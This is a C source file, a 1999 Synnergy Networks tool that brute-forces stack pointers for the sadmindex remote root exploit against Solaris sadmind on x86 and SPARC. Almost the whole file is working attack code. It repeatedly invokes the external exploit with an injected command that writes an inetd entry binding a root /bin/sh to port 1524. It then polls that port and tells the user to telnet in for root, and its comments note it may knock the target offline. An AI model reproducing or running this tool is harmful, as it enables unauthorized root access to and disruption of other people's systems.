// *** Synnergy Networks

// * Description:
//
// sadmind exploit stack pointer brute forcer.

// * Usage:
//
// # gcc -o sadmindex_brute-unix.c -o sadmindex_brute-unix
// # ./sadmindex_brute-unix [arch] <host>

// * Author:
//
// elux (elux@synnergy.net)
// Synnergy Networks (c) 1999, http://www.synnergy.net

// * Comments:
//
// This program is a demanding program since it needs other programs to funtion,
// and that is sadmindex exploit by Cheez Whiz.  All it does is try numerous
// stack pointers; -2048 to 2048 the incrementation can be changed by the user,
// default is 4.  Think of it this way if you have a 4 incremention you'll be
// connecting to the remote host 1024 times, unless you find the correct sp
// earlier, hence 2048 * 2 / 4 (4 is increment).  Once the system finds the sp
// it will print the sp it used to break in and open ingreslock (1524), so just
// telnet to 1524 and your root, can it be any easier? By the way, you might to
// take into consideration that you might DoS the remote host so take it easy.

// *** Synnergy Networks

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

/* *** ATTENTION *** you may have to change some of these *** ATTENTION *** */
#define EXPX86		"sadmindex-x86"  /* sadmind exploit for x86 arch */
#define EXPSPARC	"sadmindex-sparc"  /* sadmind exploit for sparc arch */
#define INC		4  /* sp brute forcing incrementation - 4 should be ok */

/* DON'T change the following */
#define FALSE		0  /* false */
#define TRUE		!FALSE  /* true */
#define BINDINGRES	"echo 'ingreslock stream tcp nowait root /bin/sh sh -i' \
					> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; r\
					m -f /tmp/.x;"  /* bind rootshell */
#define SPX8626		0x080418ec  /* default sadmindex sp for x86 2.6 */
#define SPX867		0x08041798  /* default sadmindex sp for x86 7.0 */
#define SPSPARC26	0xefff9580  /* default sadmindex sp for sparc 2.6 */
#define SPSPARC7	0xefff9418  /* default sadmindex sp for sparc 7.0 */
#define EXPCMDX8626	"./%s -h %s -c \"%s\" -s 0x%x -j 512\n"  /* cmd line */ 
#define EXPCMDX867	"./%s -h %s -c \"%s\" -s 0x%x -j 536\n"  /* cmd line */ 
#define EXPCMDSPARC	"./%s -h %s -c \"%s\" -s 0x%x\n"  /* cmd line */

int
main(int argc, char **argv)
{
	int i, sockfd, fd, size = 4096, sign = -1;
	long int addr;
	char *buffer = (char *) malloc (size);
	struct hostent *he;
	struct sockaddr_in their_addr;

	if (argc < 3)
	{
		fprintf(stderr, "\nsadmindex sp brute forcer - by elux\n");
		fprintf(stderr, "usage: %s [arch] <host>\n\n", argv[0]);
		fprintf(stderr, "\tarch:\n");
		fprintf(stderr, "\t1 - x86 Solaris 2.6\n");
		fprintf(stderr, "\t2 - x86 Solaris 7.0\n");
		fprintf(stderr, "\t3 - SPARC Solaris 2.6\n");
		fprintf(stderr, "\t4 - SPARC Solaris 7.0\n\n");
		exit(TRUE);
	}

	if ( (he = gethostbyname(argv[2])) == NULL)
	{
		printf("Unable to resolve %s\n", argv[2]);
		exit(TRUE);
	}

	their_addr.sin_family = AF_INET;
	their_addr.sin_port = htons(1524);
	their_addr.sin_addr = *((struct in_addr *)he->h_addr);
	bzero(&(their_addr.sin_zero), 8);

	if ( (strcmp(argv[1], "1")) == 0)
	{
		addr = SPX8626;
		printf("\nAlright... sit back and relax while this program brute forces the sp.\n\n");
 		for (i = 0; i <= 4096; i += INC)
		{
			if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
			{
				if ( (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == 0)
				{
					fprintf(stderr, "\n\nNow telnet to %s, on port 1524... be careful\n", argv[2]);
					close(sockfd);
					exit(FALSE);
				}
			}
			if ( (fd = open(EXPX86, O_RDONLY)) != -1)
			{
				sign *= -1;
				addr -= i *sign;
				snprintf(buffer, size, EXPCMDX8626, EXPX86, argv[2], BINDINGRES, addr);
 				system(buffer);
			}
			else
			{
				printf("\n\n%s doesn't exisit, you need the sadmindex exploit\n", EXPX86);
 				exit(TRUE);
			}
		}
	}
	else if ( (strcmp(argv[1], "2")) == 0)
	{
		addr = SPX867;
		printf("\nAlright... sit back and relax while this program brute forces the sp.\n\n");
 		for (i = 0; i <= 4096; i += INC)
		{
			if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
			{
				if ( (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == 0)
				{
					fprintf(stderr, "\n\nNow telnet to %s, on port 1524... be careful\n", argv[2]);
					close(sockfd);
					exit(FALSE);
				}
			}
			if ( (fd = open(EXPX86, O_RDONLY)) != -1)
			{
				sign *= -1;
				addr -= i *sign;
				snprintf(buffer, size, EXPCMDX867, EXPX86, argv[2], BINDINGRES, addr);
 				system(buffer);
			}
			else
			{
				printf("\n\n%s doesn't exisit, you need the sadmindex exploit\n", EXPX86);
 				exit(TRUE);
			}
		}
	}
	else if ( (strcmp(argv[1], "3")) == 0)
	{
		addr = SPSPARC26;
		printf("\nAlright... sit back and relax while this program brute forces the sp.\n\n");
 		for (i = 0; i <= 4096; i += INC)
		{
			if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
			{
				if ( (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == 0)
				{
					fprintf(stderr, "\n\nNow telnet to %s, on port 1524... be careful\n", argv[2]);
					close(sockfd);
					exit(FALSE);
				}
			}
			if ( (fd = open(EXPSPARC, O_RDONLY)) != -1)
			{
				sign *= -1;
				addr -= i *sign;
				snprintf(buffer, size, EXPCMDSPARC, EXPSPARC, argv[2], BINDINGRES, addr);
 				system(buffer);
			}
			else
			{
				printf("\n\n%s doesn't exisit, you need the sadmindex exploit\n", EXPSPARC);
 				exit(TRUE);
			}
		}
	}
	else if ( (strcmp(argv[1], "4")) == 0)
	{
		addr = SPSPARC7;
		printf("\nAlright... sit back and relax while this program brute forces the sp.\n\n");
 		for (i = 0; i <= 4096; i += INC)
		{
			if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
			{
				if ( (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == 0)
				{
					fprintf(stderr, "\n\nNow telnet to %s, on port 1524... be careful\n", argv[2]);
					close(sockfd);
					exit(FALSE);
				}
			}
			if ( (fd = open(EXPSPARC, O_RDONLY)) != -1)
			{
				sign *= -1;
				addr -= i *sign;
				snprintf(buffer, size, EXPCMDSPARC, EXPSPARC, argv[2], BINDINGRES, addr);
 				system(buffer);
			}
			else
			{
				printf("\n\n%s doesn't exisit, you need the sadmindex exploit\n", EXPSPARC);
 				exit(TRUE);
			}
		}
	}
	else
		printf("%s is not a supported arch, try 1 - 4 ... .. .\n", argv[1]);
}

// EOF